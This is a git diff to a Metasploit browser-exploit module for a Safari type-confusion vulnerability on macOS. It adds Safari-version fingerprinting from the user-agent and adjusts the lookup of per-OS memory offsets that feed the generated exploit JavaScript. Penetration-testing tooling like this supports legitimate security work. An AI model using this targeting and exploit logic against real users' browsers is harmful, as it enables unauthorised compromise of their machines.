diff --git a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb
index 9c098cca67..5a62cde791 100644
--- a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb
+++ b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb
@@ -98,14 +98,22 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def get_offsets(user_agent)
     if user_agent =~ /Intel Mac OS X (.*?)\)/
-      version = $1.gsub("_", ".")
-      mac_osx_version = Gem::Version.new(version)
+      osx_version = $1.gsub("_", ".")
+      if user_agent =~ /Version\/(.*?) /
+        if Gem::Version.new($1) >= Gem::Version.new('11.1.1')
+          print_warning "Safari version #{$1} is not vulnerable"
+          return false
+        else
+          print_good "Safari version #{$1} appears to be vulnerable"
+        end
+      end
+      mac_osx_version = Gem::Version.new(osx_version)
       if mac_osx_version >= Gem::Version.new('10.13.4')
         print_warning "macOS version #{mac_osx_version} is not vulnerable"
       elsif mac_osx_version < Gem::Version.new('10.12')
         print_warning "macOS version #{mac_osx_version} is not vulnerable"
-      elsif offset_table.key?(version)
-        offset = offset_table[version]
+      elsif offset_table.key?(osx_version)
+        offset = offset_table[osx_version]
         return <<-EOF
 const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
 const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};